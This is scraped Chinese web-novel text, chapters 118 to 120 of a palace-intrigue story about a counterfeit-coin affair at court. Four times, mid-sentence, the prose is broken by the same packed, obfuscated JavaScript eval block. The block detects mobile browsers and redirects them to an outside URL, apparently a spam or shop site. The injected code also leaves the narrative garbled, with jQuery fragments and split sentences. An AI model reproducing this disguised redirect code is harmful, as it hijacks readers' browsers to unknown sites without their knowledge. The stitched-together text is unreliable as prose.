王落儒朝着崔至摆摆手,随即叫住王润蕾:“不急,蕾儿,祖父还有话问你。” 崔至会意,识趣退下。 “近来……大长公主那边可有异动?”王落儒低声问道。 王润蕾在宫里多在尚宫局做事,且一心扑在刘安交代的工作上,鲜少注意旁的,若说刘安的动向,恐只有今日派她送给云虹的一副画作吧。 可那画作她也看了,不过是一副红莲图,再者,刘安与云虹自幼便有交情,仅一副画作又不能代表什么。 秉承着多一事不如少一事,王润蕾并未将此事告诉王落儒。 王润蕾抬眼看向王落儒,迟缓片刻,摇摇头:“并无异动,一切照常。” 说罢,王润蕾咬着嘴唇,下定决心问道:“祖父,润蕾有一事不解。” 王落儒转身落座,呷上一口茶,清了清嗓子:“说。” “祖父是对殿下不满?还是对殿下施行的女科不满?” “若是祖父对殿下不满,为何当初要当着朝臣们的面同意殿下抚政呢?” “若是祖父对女科不满,又为何要在朝堂上同意女科呢?” “既然祖父在朝堂上同意殿下所行的女科一政,如今又为何要百般阻挠呢?又为何要做出如今种种?” “祖父今日所做所为,皆与祖父平日的教导相悖,蕾儿不解。” 王润蕾一口气吐出这些堵在胸口的话,顿觉舒畅不少。 王落儒欲语还休,无奈,只得长叹一声:“蕾儿,这些与你无关,你不要去管。” 当初刘安推行女科时,为了朝政为了千百年来的秩序,他便逼着刘安起誓,待到国内安定后,入朝为官的这些个女子悉数遣散永不再用。 入朝为官的女子,不过是群扑火的飞蛾。他又哪里忍心让自己的孙女去做那前赴后继扑火的飞蛾呢? 可也不知蕾儿受了那刘安与温嘉诚的什么迷魂汤,竟一心想着去做官。 王落儒无法,只得依了她。 此时王落儒不免有些后悔,若是当初坚决不同意蕾儿入宫为官,今日是不是就不会闹得如今这般? “怎么会与我无关呢?我知道,殿下招我入宫为女官,一来为着能有更多的女子像温相一样,二来也是以我来逼着祖父在朝堂上同意第二场女科,祖父一同意,其他朝臣们即便是有话说,明面上也绝不会再多说什么。” “可是祖父,我既然已决定入宫为官,我既然已决定追随大长公主殿下,我既然已决定响应殿下政策,待到参加来年女科,胸中便已是下定了决心,祖父又何必……” “又何必从我这里监视探听殿下的一举一动?又何必处处与殿下作对?又何必让我夹在殿下与祖父之间呢?” “我这么做,自然是有我的用处。”王落儒别过脸去,不再看王润蕾。 这也是王落儒没曾想到的事。 在温嘉诚入朝为官后,刘安破例设置相位,提温嘉诚为左相,虽说又提程显为右相来堵朝臣悠悠之口,可谁曾想…… 谁曾想,程显等寒门学士在朝中的势力如麻绳般越拧越粗,而朝中的世家子弟又大多不争气,阴差阳错,倒成就了程显。 程显此人有能力,这是不可否认的,可野心也不小,绝不能放任之。 虽有设立女科出身的温嘉诚为左相与寒士相争,可到底还是不能与程显等人相抗衡。 由此可见,刘安所实施的新政,什么让女子为官来钳制寒士一流,简直是一派胡来。 可木已成舟,眼下除了同意女科以外,借助各入朝女子背后家族的势力与程显等寒士一流相互制衡外,一时之间再无别的法子。 故而,王落儒这才不得不同意王润蕾入宫为官,这才不得不在朝堂上带头同意第二场女科。 王润蕾辩驳道:“祖父!如今我已不是小孩子了,我有自己的思考,我能辨得清是非对错,若是祖父有的考量,尽管告诉我便是!” “不用拿着先前那套哄小孩子的说辞来瞒我!”王润蕾见王落儒别过头回避,忙上前三四步行至王落儒面前,躬身问道。 王落儒自是不愿再多说什么,摆摆手:“润蕾,你出宫多时,也该回宫去了。” 王润蕾不解道:“祖父!” “回宫去吧。”王落儒高喝一声:“焕儿!给你妹妹备车马!” 守在门外的王焕听到这声,忙进屋来劝道:“祖父,妹妹好容易出宫一趟,好歹留下吃顿家里的饭吧。” 王焕才换下那身淋了雨的衣裳,听到仆从来报程显前来拜访自家祖父的消息,忙不迭同崔至去招待程显,与程显简单寒暄两句后,又前来汇报给自家祖父。 只是不知祖父和妹妹两个人又说了什么,闹得现在这样不愉快。 明明前几天祖父还经常念叨妹妹呢。 “哥哥,不必了。宫里还有许多事呢,再说了,私铸币事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274314|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关重大,需得尽快告知殿下才是。”王润蕾心灰意冷,也不愿再多说什么。 “祖父——”王焕看向面色坚决的王落儒,见难以劝说,又忙跑去追上王润蕾:“蕾儿——” “蕾儿——” 正与程显寒暄不下去的崔至听到外头的动静,赶忙走出来查看情况。 程显也跟着走出来。 王润蕾抬头看见崔至,神色勉强道:“姑父安,宫里还有许多事,我便先回去了。” 程显跟在崔至身后,微微颔首。 王润蕾同样颔首道:“见过程大人。”说罢,便转身离去。 一回宫,王润蕾便迫不及待前去福康宫,迫不及待要将私铸币的事儿告与刘安。 福康宫内早已点上了火烛,刘安案前堆放的奏折比早先看到的要少了两三摞。 王润蕾提起裙袍,扑通一声跪在刘安面前:“殿下,臣有急事要禀!” 在刘安身侧的温嘉诚惊讶抬头,看了眼王润蕾,眉头皱起,又扭头看向刘安。 刘安手上动作一滞,缓缓抬起略带疲惫的眼睛,看向王润蕾,盯着王润蕾片刻后,道:“何事?” 王润蕾忙取出那几枚私铸币,高举于眉前。 刘安瞥了眼身旁的莲音,莲音会意,取来私铸币奉于刘安面前。 离近了,刘安这才看清。 一刹间,刘安明白了王润蕾今日何故出宫家去。 只是,此事不应该经由王落儒、程显等人之后,将私铸币呈递于刘绥面前吗? 怎么兜兜转转竟到了她的面前? 刘安佯装不知,捻起一枚私铸币,仔细端详片刻后,看向一旁的温嘉诚,问道:“这是……看着倒不像是我朝发行的钱币,嘉诚,你来看看。”说着,便将这枚递给温嘉诚。 一旁的温嘉诚会意,接过后仅看了一眼,便附和道:“是呢。这上面的年号字迹模糊,看着不像是‘天启’、‘启盛’、‘承道’三朝的年号,也不像是‘康佑’二字。” 温嘉诚再问道:“润蕾,这是哪儿来的?” 此话一出,温嘉诚与刘安,乃至莲音的目光,齐齐落在王润蕾身上。 一时间,在众人的注视下,王润蕾倒有些紧张,说起话来也有些不甚流畅:“这……这是……是……家中……家中仆从手里……发……发现的……” 刘安浅笑安慰道:“润蕾,在我面前,你不必紧张,慢慢说。”说罢,合上手里的折子,递给旁边温嘉诚一个眼神。 温嘉诚会意,同步放下手中的折子,面上带笑,起身上前,拉起王润蕾的手,扶起王润蕾,笑道:“在殿下的福康宫,没那些个繁琐的规矩,只管啊——” 温嘉诚话语一顿,看了刘安一眼,笑道:“只管将殿下当做是姐姐便是,在姐姐面前,无需顾忌那么多,想说什么就说便是。” 刘安笑着点点头,顺手捧起一旁的茶杯,小抿一口。 王润蕾在温嘉诚的鼓励下,心绪平静下来,心头的紧张也少了许多,重新说道:“祖父说,这些是私铸币,在家中仆从,乃至其他朝廷要员家里都有出现。” “私铸币?”刘安故作惊讶,思忖片刻,问道:“这么说,你是觉得这些私铸币是朝臣们所为?” 118. 外攘内安(二十三)两难之地 “不不不……”听得刘安如此揣测,王润蕾连连摇头否认,道:“殿下,朝臣们都觉得蹊跷。” 王润蕾说出她的想法:“偏偏在咱们大江与胡人开战两三个月后,这些个私铸币在京中流通,还不知这些私铸币流入京中多少百姓的口袋里。” “若任由这些私铸币继续在京中流通,假以时日,只怕会影响京城安稳,影响北征战事啊!” 刘安一挑眉,神情闪过一瞬的尴尬。 她原以为,凭着王落儒那刚直火爆的性子,会一纸递到刘绥面前。 没想到,这个皮球竟踢到了她脚下。 刘安扶额遮住自己的眼睛,轻轻“啧”了一声,甚是为难。 如今她为难的,是北征与私铸币这两件事搅到了一起。 如今国内军队的主力都在永州一带的边境,若此时引爆私铸币案,该如何处理诚王如何处理诚王在栾南囤积的私兵呢? 到头来,大江朝内部落得个两败俱伤,反倒是让胡人有了可乘之机? 刘安决不允许这样的事情发生。 王润蕾见刘安久久未曾出声,忙问道:“不知……不知殿下觉得眼下该如何办才好?” 温嘉诚适时问道:“润蕾,此事陛下可知?” 王润蕾摇摇头:“尚未来得及。” 温嘉诚看了眼刘安,道:“润蕾,此事事关朝政,绝非殿下、你我三人就能决议的。” 刘安道:“嘉诚说得不错,事关重大,需得经由朝臣们商议才是。” 刘安的食指在太阳穴轻轻点了几下,道:“这么吧,等手头的这些折子批阅过后,你亲去福宁殿,将此事禀于陛下。” “啊?这……”王润蕾对刘绥,多少有些怕,刘绥并不似刘安这般和善,王润蕾并不敢。 刘安看出王润蕾的为难,便道:“罢了,润蕾,你且去歇着吧。” 王润蕾心中仍不住地打鼓,脚步有些迟缓。 温嘉诚轻轻拍了拍王润蕾的后背,轻声安慰道:“不必担心,私铸币一事,陛下知道后自有定夺。” “好。”王润蕾垂首退下。 隔着黑洞洞的窗户,刘安瞥见天色已晚,桌上的奏折仅剩下了手掌高,便笑道:“嘉诚,天也不早了,你早些归家吧,别让国公夫人等久了。” 温嘉诚不忍:“殿下,离宫门下钥还有些时候呢,我多看些,殿下就能少受些累。”说着,便又取来一本刘安阅过的奏折细细核查。 刘安没法,笑着摇摇头,只能由着温嘉诚。 不多时,金中堂大步流星匆匆赶来。 金中堂见温嘉诚在此,止住正要出口的话,只默然站着。 温嘉诚瞥见,知道她不宜再留下来,忙拜别刘安。 刘安点头过后,温嘉诚缓缓退下,临别前,还不忘叮嘱道:“殿下身旁的茶水有些时辰了,只怕已经凉了,莲音姑娘记得再为殿下添上杯热茶。” 莲音点点头。 刘安笑道:“有莲音在我身旁,你且放心。” 见温嘉诚退下,金中堂上前一步,低声道:“殿下,程显与周述、袁正等人私下会过面后,又与兵部尚书崔至齐齐聚在太傅府上,至今还未曾离开。” “程显并未放弃与南郊那位取得联系。” 刘安冷哼一声,不免又有几分庆幸,幸而她早早便在刘仲府宅周围布下重兵把守,这才没让程显等人钻了空子。 金中堂道:“还有一事,近来莲房姑娘出宫,身后总是跟着个尾巴。” 莲音闻言一惊。 刘安听后,眉头皱得更紧了,问道:“是谁在盯着莲房?程显?” 金中堂道:“不像是。这尾巴行事谨慎,并未露出过多马脚。” 刘安再问道:“何时发现的?” 金中堂恭敬回道:“就这几天的事儿。” 刘安眼睛眯起:“哦?” 金中堂如实道:“莲房姑娘近来出宫勤了些,那尾巴常跟在莲房姑娘身后,这才露了些许马脚。” 莲音听得直皱眉。 近来殿下并未怎么安排莲房出宫,莲房频频出宫做什么?难不成又是因为她那不争气的表哥? 刘安蹙眉思忖,虽不知跟踪莲房的目的是什么,但如今最要紧的,除了北征,不就只剩下私铸币一事吗? 想到这儿,刘安忙道:“先前逍遥王找的那些个铸币的工坊匠人,多施些钱两,不许他们再待在京城。” 若是被人顺着这些匠人的线索查到私铸币与她、与逍遥王刘赞有关,对于今后的抚政可是大为不利。 她决不允许这样的事发生。 金中堂应下:“是。” “不——”刘安眼皮猛然抬起,唤回金中堂:“不能赶走他们,此时一动不如一静。” “一切照常,务必要他们守口如瓶,半个字也不许透露出去,那些个模具也要确保早已销毁,毫无错漏。” “是,微臣这就去办。”金中堂得令,忙去操办。 刘安随手抄起一份奏折,眉头未见舒展,看了不过几眼,忍不住开口问道:“莲音,传话给昶儿,活捉呼廷聊赞一事,需速战速决,不能再拖下去了。” 再拖下去,气温愈发地低,棉衣等必要军需上涨,朝廷财政实在无以为继。 再拖下去,永河结冰,胡人南渡…… 只一夜的功夫,宫室庭院内便落满了枯叶。 只一夜的功夫,昨儿还繁茂的枝芽,今儿的树杈上便秃了一大片。 就连种在花盆里的菊花,经过昨夜的狂风,都多有凋敝。 一口冷风倒灌过来,刘安不由得裹紧领口:“好冷啊!” 莲音收拾好暖炉,递给刘安道:“是呢,冬天到了,许过不了几日还要下一场雪呢,殿下最是怕冷,可别受了风寒。” 刘安点点头,又拢了拢衣服,轻咳一声,而后压低声音问道:“消息送出去没?” 莲音撩起挡风的轿帘,同样压低声音道:“昨儿太晚了,恐夜里出宫会惊扰旁人,故而今儿宫门开过后,才派人将消息送出去。” 刘安坐上轿辇,低头看向暖炉:“你做得已经很好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274315|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说罢,只觉头脑昏昏,许是近来天气转换不定,真着了风寒。 “早朝过后,让御医们熬煮些姜汤姜茶分给宫人们。” 又是一阵压抑的咳嗽声。 莲音甚是心疼道:“殿下顾念着宫人们,顾念着朝政大事,多少也该顾念着自己的身体才是。”说着说着,语气难免有些哽咽。 莲音继续道:“自打入了秋,殿下时不时便要咳上两声,也该传御医来为殿下诊治才是。” 刘安轻声道:“不妨事。朝政要紧。” 倒不是刘安讳疾忌医,实则是怕。 怕有人会在她的汤药中下毒。 当初祁娘娘还是医家出身,最后也抵不过被人下毒暗害。 还有元弟,哪怕是有父皇的庇护,也抵不过那一碗碗让人气血两亏的药汤。 如今她这样的位置,这样的权势地位,看似大权在握,实则早已是四面楚歌,她不得不防。 若有朝一日她当真落得个祁娘娘、母亲、元弟一样的下场,当今皇帝会为她追封死后的殊荣吗? 抬眼间,刘安与刘绥已然坐在了龙椅上,聆听着众臣子间激烈的言辞。 “呵。” 看着朝堂上咄咄逼人的多是程显的门徒、多是通过科举入仕,刘安不由得轻呵一声。 一旁的刘绥听到,眉头一挑,侧目而视,低声问道:“长姐,可是有见解?” 刘安垂下眼睛,把玩着手里的暖炉,轻笑一声,客套道:“朝堂上的事,自有两位丞相、太傅乃至诸位大臣们商讨,自有陛下做决议,我不过是顶着个抚政的名头罢了。”说罢,先是抬起眼皮,而后又慢慢昂起头,饶有兴致地看向阶下的唇枪舌战。 仅仅,是个抚政的名头? 刘绥听后,收回视线,在刘安看不到的地方,狠狠翻了个白眼,看阶下那群差点要动上手的臣子们,也愈发的不顺眼。 谏议大夫裴纶正指着兵部侍郎邵节的鼻子,疾言厉色道:“兵部侍郎此言差矣,北征一战已经打了数月,早就不知道砸下了多少银两,如今正值秋冬,多地都急需用钱,军费实在是不宜再添!” 是啊,正值秋冬,多地都等着朝廷拨款呢。邵节一时语塞,气焰也弱了半分,可又万分的不甘心。 兵部尚书崔至最是护犊子,见着自己下属邵节被裴纶这般呛声,那是一点也忍不了。 再者,邵节出身海州邵氏,也是名门望族之后,与他们天然的一派。 更何况,他向来是最看不惯程显等人的做派,大道理说得比任何人都冠冕堂皇,可实则却是啰里吧嗦一大堆,不知所言,毫无用处。 崔至冷哼一声,顺着裴纶的话道:“谏议大夫说得是,如今正值秋冬,今年冬天又是格外的冷。” 左相温嘉诚侧耳听着,适时道:“是啊,上早朝前,我观诸位大人皆添了厚衣,京城的冬天都这般冷,更别提是北境的冬天。” 眼看着兵部尚书与左相接连发声,邵节会意,瞬时疾声道:“军费不添,没有厚实的棉衣御寒,难道要让边关的将士们都冻死吗?” 119. 外攘内安(二十四)多方较量 “将士们为国征战,难道要将士们都寒了心吗?” 此话一出,朝堂上的争论声顿时停止。 裴纶实在无可辩驳,眼见自己说不过兵部,便将目光投向为首的右相程显身上。 听着大殿上一片寂静,身为右相兼任户部尚书的程显站出列,拱手请示高座上的刘绥:“陛下,关于财政军需一事,还是听听户部的意见吧。”说罢,侧目看向户部侍郎王焕。 众人的目光齐刷刷望向王焕。 刘绥抬手一挥,王焕随之出列。 王焕眉头不由得紧蹙,昨儿程显不是和祖父都说好了吗? 早朝前,妹妹通过温相将大长公主的意思传出,他与祖父便知想走大长公主的路子行不通。 既然这么着,那便按着昨日和程显商议的,今日早朝,两方共同提起私铸币一事,讨得陛下旨意,好着手调查私铸币一事,怎么程显一派东拉西扯,又扯到军需上了呢? 眼看着自己成为了朝堂之上的焦点,王焕硬着头皮,琢磨着语速缓慢道:“陛下,虽说今年在军需上花费增多,可得益于边市政策,财政上虽有亏空,可额外添的这点军需,也是能负担得起的。” 王焕所言,并不是程显想听的。 程显面上形色不变,心里却是翻江倒海。 虽说程显看不上刘安代理朝政,可此时却不得不佩服得五体投地。 单这选用王焕来做户部侍郎,便不得不称为一招妙手。 各部侍郎理应有两位,可户部如今仅有王焕一名侍郎,王焕之上,是他程显,可他担任右相,又是要钳制温嘉诚又是要料理朝中琐碎的事务,对户部的把控倒有些力不从心。 王焕战战兢兢说完,而后脑袋慢慢垂下。 王焕心里也纳闷,如今早朝已然过半,全然都浪费在一些无关紧要的庶务上,现在又是提及财政军费,只怕早朝结束也不会有个定论,那私铸币的事儿呢? 刘绥听后,点点头,作出一副懵懂、茫然的样子,扭头看向身旁的刘安,问道:“当初是长姐力排众议,定下北征一事,不知——” 刘绥特意拉长尾音,继续道:“对于增添军需一事,长姐以为如何?” 刘安瞥了刘绥一眼,哼出一口气。她就知道,这个问题迟早会甩给她。 不过既然皇帝做不了主,那便由她来吧,谁让她是父皇钦定的抚政大长公主呢? 刘安释然,当即便笑道:“那便依户部、兵部所言,添军需,如今正是将士们扬我大江之国威时,可别寒了将士们的心啊!” 崔至与邵节二人齐齐高呼谢恩:“陛下、大长公主殿下圣心独裁!” 刘安随意拨弄了下暖炉里渐渐凉掉的炭火,道:“诸位卿家,可还有事要奏?” 刘绥甚是不满地瞪了刘安一眼,眼中极尽阴冷。 阶下的王落儒眉头一挑,眼珠朝着程显的方向转去。 王焕与崔至二人同时抬眼看向为首的程显,等着程显提起私铸币一事。 程显依旧挺拔如松地站着,身影未曾有着丝毫的晃动,毫无开口的意思。 王落儒等不来程显开口,自己反正是等不及了,私铸币事关重大,万不能再拖下去了。 眼见着王落儒举起笏板,即将站出列之时,崔至眼疾手快,一把拽住王落儒衣袖。 阶下群臣的一举一动,毫无遮拦地呈现在高座上的刘安与刘绥眼中。 刘安轻轻将手搭在冰凉、坚硬的龙椅扶手上,静静看着阶下臣子们的各种小动作。 刘绥与刘安真不愧是姐弟两个,以同样的姿势,饶有兴致地看向他的臣子们。 迟迟等不到刘安的问话,刘绥忍不住问道:“王太傅,可还有事要奏?” 程显扭头看向王落儒,微笑着点头示意王落儒先开口。 有了崔至方才的拉扯阻拦,王落儒此时有些犹豫,不免看向身后的崔至。 看程显的意思,是不打算按昨日他们商议好的来了。 崔至轻轻摇头,表明他的意见。 王落儒心中已然明了,眼睛微眯,站出列,道:“陛下,来年六月的女科,不知要定在何日?” “此次女科,必定会比第一场女科盛大,依臣见,当增设考官、阅卷员等,另,此次女科想必会有来自全国各地的考员,可还需要提前安排考员们的住宿等事宜?” 程显眼中闪过一瞬的愕然。 事关女科,刘安瞬间提起精神,与看过来的温嘉诚对视一眼,道:“女科一事,按照先前科举的来,若有变动之处,皆交由温相决议。” 温嘉诚道:“臣温嘉诚,遵命。” 刘绥面无表情道:“散朝。”说罢,起身离开。 紧接着,刘安也跟着起身离开龙椅。 杨仕鑫高呼一声:“退朝——” “恭送陛下——恭送大长公主殿下——”众臣缓缓退出金銮大殿。 王焕路过程显身旁时,轻呵一声:“到底,做人还是要言而有信才是。” 程显嘴角微微勾起,笑里藏不住的轻蔑、不屑。 程显身旁的谏议大夫裴纶、袁正听闻此言,纷纷怒目而视。 裴纶、袁正等人出身寒门,平日里与王焕这种出身世家大族的最是不对付。 大江朝就是有他们这样世家大族的纨绔子弟在,互相荫蔽,朝堂上才不得清明。 崔至察觉到王焕、程显这边情况焦灼,忙笑着过来,与程显寒暄两三句后,拉走王焕。 没有程显的示意,裴纶、袁正等人也不便多言,各自回家去了。 崔至苦口婆心道:“你太着急了。” 王焕甩了甩官服的袖子,望着程显等人的背影,冷哼一声:“早就知道程显昨日来不安好心。” “险些被程显当做枪使了。”王落儒紧盯着程显的背影,缓步走来。 王焕问道:“祖父,那我们现在该怎么办?” 王落儒看向崔至,低声道:“姑婿,你先带着焕儿私下调查此事,待今日陛下召我入宫时,我再亲自将此事向陛下禀明。” 崔至与王焕齐声应下:“好。” 交代好后,王落儒便带着王焕与崔至道别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274316|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔至拱手别过王落儒后,与王焕使了个眼色。 王焕会意,跟在王落儒身后走了数步,道:“祖父,我与姑父先去商量下如何调查私铸币。” 王落儒点点头应允。 王焕没有丝毫停顿,快步追上崔至,与崔至前后脚出了皇宫。 王焕皱眉问道:“姑父可有思绪?” “我带你去个地方。”崔至小心谨慎看了眼周围,轻轻摇头示意王焕慎言,紧接着带王焕换下一身的官服,换上平头百姓的装扮。 崔至与王焕二人扮做普通百姓,三拐五绕的,二人穿过热闹的街市,又路过两三座无人居住的府宅,最终来到一条暗巷前。 暗巷位置不算太偏,还能听到沿街的叫卖声。 抬头望去,还能看到醉云轩的招牌。 只是让王焕没想到的是,繁华的京都之下,竟还有这么一条许泥泞、腐臭、脏兮兮的暗巷。 王焕略带抵触地捂住口鼻,低声问道:“姑父,我们来这里做什么?” 崔至无视脏乱的暗巷,一边扎起裤脚,一边小声道:“先前……”说着,还谨慎地回头看了眼,见身后空无一人,方才继续道: “先前为孝懿太子殿下办事时,也曾督办过私铸币的案子,为此还暗访了京城大大小小的工匠。” 提起孝懿太子,崔至不免一声长叹。 若是巫蛊一案没有发生,若是孝懿太子还活着,兴许早就查办了私铸币,兴许,今日的大江会更强盛。 崔至继续道:“兴许,私铸币一事可以从这些工匠上入手。” 眼看着王焕还站在原地,崔至不免催促道:“来啊!” “现在这条道,比先前我来时好走多了,你是没见过,啧啧啧。” 王焕没法,只得跟在崔至身后,踏上那条他万分嫌弃的暗巷小路。 暗巷里的布局并未有多大的变化。 沿着记忆中的路线,崔至带着王焕在巷子里拐了两三个弯,寻至一处带着些许腐朽的小门前。 依稀能听到里面人家的说话声。 隔着门缝,崔至眯眼看去,勉强能看到门内的人影。 崔至舒了口气,人还在就好。 崔至清了清嗓子,抬起手,重重敲在门上。 门内的声音瞬间哑然。 崔至再次敲上去,门内才喊了声: “谁啊?” 紧接着,一个佝偻着身子,头发有些花白的男人从屋内出来,隔着门缝,充满戒备地看向门外的崔至与王焕两人。 虽说崔至与王焕穿着普通人的衣服,可他们身上的气质是藏不住的,一看,就不像是平常的百姓。 “找谁啊?” 崔至凑到近前,笑问道:“李老汉,不认得我了?” 李老汉盯着崔至看了两三眼,当即打开门,一个劲儿地谄媚笑着,本就佝偻的腰身弯得更低了。 李老汉搓着皲裂的双手,讪讪笑道:“自打上次大人查过之后,我可是老实本分得很呢。” “是吗?”崔至眉头一挑,抬起便是一脚,踹在门上。 120. 外攘内安(二十五)暗巷寻证 腐朽破烂的门,不堪重负,“嘭”地一声,被踢了个洞。 李老汉被吓了一跳,顿时不敢再说话,身体也瑟缩得厉害。 崔至与王焕迈过门槛,进入李老汉家里,逼仄的过道,低矮的棚子,压得两个人直不起身来,不得已,又多走两三步。 不大的院子里乱七八糟地码放着过冬的柴火,一旁的火灶上还咕嘟着见底的剩菜剩饭。 为了屋里能暖和些,窗户都被木板封住,屋里黑黢黢的。 目之所及,皆是王焕无法想象的景象,王焕看得直皱眉。 崔至直接了当掏出一枚私铸币,一手搭在李老汉的肩上,问道:“近来有没有人让你造样的铜币啊?” 李老汉下意识摇头。 “看清楚了再说话。”崔至厉声道,手上也加了些力道。 李老汉痛得龇牙咧嘴,接过那枚铜钱,仅上手一摸,便察觉到异样,待拿到眼前细细一看,认出来了。 这不就是前几个月前有人托他私自铸造的铜币吗? 怎么如今…… 先前那人给的酬劳丰厚,但唯有一点,要保密保密再保密,如若不然…… 可面前这位大人的手段他是知道的。 李老汉心里直打鼓,沧桑干老的脸上闪过些心虚的情绪。 崔至敏锐地察觉到,撇嘴冷哼一声,手上的力道又加重了几分。 李老汉道:“这……这这这不是大人先前找我看过的那种铜钱吗?早几年见过,见过。” 崔至脸上有些不耐烦:“我问的是最近,别扯有的没的。” “最近啊——”李老汉拉长音调,企图蒙混过去。 崔至懒得再与李老汉废话,一脚踹在李老汉膝盖窝上,李老汉“扑通”一声跪在地上。 “阿爹——”屋里一个小孩听到响动,穿着薄衣,嗦着手指,晃晃悠悠走出来,看着不过三四岁的样子。 李老汉急道:“外面这么冷,谁让你出来的?回去回去回去!” 崔至问道:“你孩子啊?” 上次来见李老汉时,他身边只有个十一二岁的丫头。 崔至单膝蹲下,凑到李老汉耳边叮嘱道:“孩子这么小,多少积点阴德啊,私自铸币的勾当,以后可别再做了。” 说罢,崔至站起身,松开了放在李老汉肩上钳制的铁手。 意识到自己逃过一劫的李老汉喜不自胜,跪在地上连连道:“多谢大人,多谢大人,多谢大人!” 崔至走到李老汉小孩身边,轻轻摸了摸小孩稀疏柔软的头发,而后从袖中掏出枚铜钱,单膝蹲下,与小孩平视,道:“乖,伯伯给你个钱,拿去买糖可好?” 李老汉也是松了口气。 小孩看了眼李老汉,开开心心接过崔至递过来的铜钱,正反两面翻过来看过后,不解道:“阿爹,这钱和你之前说的假的一样!” 说着,就把那枚铜钱摔在崔至身上:“哼,假的,我不要你的钱!” 崔至瞬间变了脸色,快步走到李老汉身边,一把擒住李老汉的领口,质问道:“你不是说没见过这样式的钱币吗?” “你敢骗我?” “嗯?” 王焕看了眼一屁股坐在地上哇哇哭的小孩子,心生怜悯,走向小孩,温声细语安抚着小孩。 谁知小孩见着王焕手伸过来,张着嘴狠狠咬上一口。 “啊——”王焕一声惨叫。 崔至与李老汉听到王焕这边的动静,纷纷扭头看过来。 王焕下意识扬起巴掌。 “大人!两位大人!小孩子不懂事!不懂事啊!两位大人大人有大量,就别和一个小孩子计较了!”李老汉跪在地上,脑袋一下一下不带停地磕在地上。 他老来得子,只这么一个命根子啊!他李家可全靠着这么个命根子延续香火啊! 听着李老汉的连声哀求,看着小孩子眼中饱满晃动的泪珠,王焕扬起的巴掌,终究是变成了慢慢捏紧了拳头。 王焕,到底是于心不忍。 见小孩衣衫单薄,更是从自己身上脱下件外袍,披在小孩身上。 宽大的外袍罩在三四岁的孩子身上,极为地不合身。 崔至一脚踩在李老汉的背上:“这私铸币的原委,你给我老老实实说清楚。” 崔至见李老汉依旧无动于衷,不情不愿地从袖中掏出一小锭银子扔在李老汉面前的地上。 看到银子,李老汉两眼冒光,先前被叮嘱的话,全然抛之脑后。 “我说,我说,我说!” 接着,李老汉将先前曾有人找他仿造那枚铜币的样式铸造铜币的事一五一十说出来。 崔至听得眉头紧蹙,问道:“是谁?” “我哪里认得?”李老汉摇摇头。 崔至再问道:“铸币的模子可都还在?” 李老汉再次摇摇头。 崔至眼珠看向李老汉,嗤笑一声:“当真不在了?”说罢,看向一旁的稚子。 李老汉没有说谎:“事成之后,他们亲自盯着我销毁了模子。” 随后又劝道:“那是位比两位大人还要威风的人,草民惹不起,两位大人未必也惹得起。” “两位大人还是别趟这趟浑水了。” 李老汉说完之后,王焕与崔至皆是一愣。 能凌驾于他们二人之上的,无非就那么几人,右相程显、左相温嘉诚,还有当今陛下、抚政大长公主。 仅凭直觉,崔至便猜到此事或与大长公主有关。 难怪,难怪大长公主不愿插手此事。 如若不然,就凭大长公主如今在朝堂上手拿把掐的架势,绝不会放任不管的。 只是,大长公主为何要这样做呢? “还望两位大人高抬贵手,放过我与我那小儿。”说着,李老汉便跪在崔至脚边,不住地磕头求饶。 “起来吧。”崔至思绪被打断,瞥了眼跪在地上的李老汉,摆摆手,道:“若是日后,有人问起今日……” 李老汉混迹于三教九流之中,各色各样的人都见过,自然知道话该怎么说:“我从未见过两位大人,也从不知道什么私铸币的事儿。” 崔至点点头,给王焕使了个眼色,两人相继离开李老汉家。 崔至瞥见王焕情绪不高,问道:“你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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等着崔至与王焕走远后,藏在矮墙下的金中堂才缓缓站起身。 左跨一步,右踩一墙,借着本身的功夫,未曾沾染半分暗巷的泥泞。 三两步间,金中堂便寻至李老汉家中。 看着门上的破洞,孩童身上不合身的外袍,还有李老汉往怀里揣了又揣、藏了又藏的银锭,金中堂已然明白现在的情况。 崔至与王焕两人已然查到了这里,事关殿下,他不得不谨慎。 眼看着面前这人身上的肃杀之气,李老汉连踢带揣地将小孩赶到屋里,顺带关上了屋门,小跑到金中堂面前,结巴道:“军军军军爷——” 金中堂眼眸微眯,掏出一袋银子,丢在李老汉怀里:“分给大家吧。” 沉甸甸的钱袋子揣在手上,李老汉心中很是不安。 